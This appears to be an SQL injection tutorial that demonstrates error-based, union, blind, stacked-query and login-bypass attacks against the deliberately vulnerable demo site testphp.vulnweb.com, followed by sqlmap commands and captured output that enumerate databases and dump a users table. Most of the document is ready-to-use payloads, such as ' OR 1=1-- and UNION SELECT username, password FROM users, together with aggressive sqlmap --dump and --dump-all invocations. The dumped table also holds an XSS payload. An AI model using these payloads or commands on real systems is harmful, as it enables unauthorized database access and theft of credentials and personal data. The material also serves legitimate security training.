Mastering SQL Injection: Advanced Tools & Techniques

SQL Injection :

SQL Injection (SQLi) is one of the most dangerous and commonly exploited vulnerabilities in web applications. It occurs when user input is improperly handled, allowing attackers to manipulate backend SQL queries and directly interact with the database.

Six (6) Types of SQL Injection :

#	Type	Example Area	
1	Error-Based SQLi	Product ID parameter	' shows SQL error
2	Union-Based SQLi	Product detail pages	UNION SELECT null, version()
3	Boolean-Based Blind	Login form	AND 1=1 vs. AND 1=2
4	Time-Based Blind	Login or search	sqlmap --technique=T
5	Stacked Queries	Not always allowed (but can test)	; SELECT sleep(5)--
6	Login Bypass SQLi	Login page (userinfo.php)	' OR 1=1-- on login form

Goal	Payload Example
Authentication Bypass	`' OR '1'='1' --`
Get DB Version	`UNION SELECT NULL, version() --`
List Tables	`UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() --`
List Columns	`UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --`
Dump Credentials	`UNION SELECT username, password FROM users --`

Manual SQL injection check

1. **Error-Based SQL Injection**

Step 1: Visit http://testphp.vulnweb.com/artists.php?artist=1

Step 2 : http://testphp.vulnweb.com/artists.php?artist=1' (Inject a single quote ')

Mastering SQL Injection: Advanced Tools & Techniques

Result : You'll see a **MySQL error**, This confirms it's vulnerable to SQL Injection.

2. **Union-Based SQL Injection**

Step 1 : Visit http://testphp.vulnweb.com/artists.php?artist=1

Step 2 : Try payload: UNION SELECT null, version()--

http://testphp.vulnweb.com/artists.php?artist=1 UNION SELECT null, version()—

if not working used

```
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 1--
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 2--
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 3--
http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 4—

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,3--

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,version(),3--
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --banner
```

3. **Boolean-Based Blind SQL Injection**

Step 1 : http://testphp.vulnweb.com/artists.php?artist=1 AND 1=1

Step 2 : http://testphp.vulnweb.com/artists.php?artist=1 AND 1=2

Result : If the first shows content and the second does not, it's **boolean-blind SQLi**.

4. **Time-Based Blind SQL Injection**

   This one is harder to confirm manually, but tools like sqlmap help.
   Step1 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=T --batch --time-sec=5
   Result : If there's a delay in response, it confirms **time-based blind SQLi**.

5. **Stacked Queries (Multiple Statements)**
   Step 1 : http://testphp.vulnweb.com/artists.php?artist=1;SELECT+sleep(5)-- (if not working try SQLMAP
   Step 2 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=S --batch

(if not working)

Step 3: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --random-agent --level=5 --risk=3 --dump

6. **SQL Injection Login Bypass**
   Step 1 : go to : http://testphp.vulnweb.com/userinfo.php
   Try:
   - ✓ Username: ' OR 1=1--
   - ✓ Password: anything

Automating SQL Injection with SQLMap:

Website : **http://testphp.vulnweb.com/artists.php?artist=1**

Step 1 : http://testphp.vulnweb.com/artists.php?artist=1'

Step 2 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

Note :

-u: target URL **–dbs:** fetch database name **–batch:** This will leave sqlmap to go with default behavior whenever user's input would be required

```
[05:44:53] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.12
[05:44:53] [INFO] fetching database names
[05:44:53] [INFO] the SQL query used returns 2 entries
[05:44:53] [INFO] retrieved: information_schema
[05:44:54] [INFO] retrieved: acuart
available databases [2]:
[*] acuart
[*] information_schema

[05:44:54] [INFO] fetched data logged to text files under

[*] shutting down at 05:44:54
```

Step 3 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch

-D: DBMS database to enumerate (fetched database name)
–tables: enumerate DBMS database table

Mastering SQL Injection: Advanced Tools & Techniques

```
[05:47:56] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.12
[05:47:56] [INFO] fetching tables for database: 'acuart'
[05:47:56] [INFO] the SQL query used returns 8 entries
[05:47:57] [INFO] retrieved: artists
[05:47:57] [INFO] retrieved: carts
[05:47:57] [INFO] retrieved: categ
[05:47:57] [INFO] retrieved: featured
[05:47:57] [INFO] retrieved: guestbook
[05:47:58] [INFO] retrieved: pictures
[05:47:58] [INFO] retrieved: products
[05:47:58] [INFO] retrieved: users
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+
```

Step 4 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

Note:

-T: DBMS table to enumerate (fetched table name)
–columns: enumerate DBMS database columns

```
root@kali:~# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart
-T users --columns --batch
```

```
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| name    | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+
```

Step 5 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

--dump : dump all information of DBMS database

```
[05:53:51] [INFO] postprocessing table dump
Database: acuart
Table: users
[1 entry]
+-----------------------------------------+---------+----------------------------------+------+-------+-----
------+-----------------+--------------------+
| cc                                      | name    | cart                             | pass | uname | phon
      | email           | address            |
+-----------------------------------------+---------+----------------------------------+------+-------+-----
------+-----------------+--------------------+
| 422222222222222"><script>alert(1)</script> | <blank> | 3866749cea27dc63e04ad230d42f4a97 | test | test  | 555-(
6-0606 | sample@email.tst | 3137 Laguna Street |
+-----------------------------------------+---------+----------------------------------+------+-------+-----
------+-----------------+--------------------+
```


Step 6 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --

dump-all --batch

Fully Automated SQL Injection :

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --random-agent --dump